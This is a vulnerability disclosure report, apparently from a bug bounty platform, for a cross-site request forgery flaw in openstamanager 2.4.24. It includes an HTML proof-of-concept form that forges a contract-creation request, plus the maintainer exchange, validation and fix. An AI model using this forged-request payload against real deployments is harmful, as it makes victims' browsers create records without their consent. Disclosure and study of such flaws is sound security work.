Cross-Site Request Forgery (CSRF) in devcode-it/openstamanager


Reported on

Jul 31st 2021

✍️ Description

Attacker able to create any Contract if users visit attacker site.

🕵️‍♂️ Proof of Concept

1.Open the PoC.html In Firefox or safari. you can check a Contract with aaaa name have been created.

// PoC.html

  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost:8000/openstamanager/controller.php?id_module=31" method="POST">
      <input type="hidden" name="id&#95;module" value="31" />
      <input type="hidden" name="id&#95;plugin" value="" />
      <input type="hidden" name="op" value="add" />
      <input type="hidden" name="backto" value="record&#45;edit" />
      <input type="hidden" name="id&#95;record" value="" />
      <input type="hidden" name="nome" value="aaaa" />
      <input type="hidden" name="idanagrafica" value="4" />
      <input type="hidden" name="hash" value="&#35;tab&#95;0" />
      <input type="submit" value="Submit request" />

💥 Impact

This vulnerability is capable of create any Contract .


Set SameSite attribute of cookies to Lax or Strict.


We have contacted a member of the devcode-it/openstamanager team and are waiting to hear back 4 months ago
devcode-it/openstamanager maintainer
4 months ago


hi. on which version are you trying this? we have added same_cookie strict settings on april 2020 and removed just about 5 days for testing

4 months ago


Hey man, how are you?

yah sorry about my bad.

I download last release named 2.4.24

4 months ago

Researcher this file already edited 4 days ago and the strict commented here ....

4 months ago


In this commit you comment the SameSite attribute:

please accept my report as your last release is vulnerable.

devcode-it/openstamanager maintainer validated this vulnerability 4 months ago
amammad has been awarded the disclosure bounty
The fix bounty is now up for grabs
loviuz submitted a
4 months ago
devcode-it/openstamanager maintainer confirmed that a fix has been merged on 402dca 4 months ago
loviuz has been awarded the fix bounty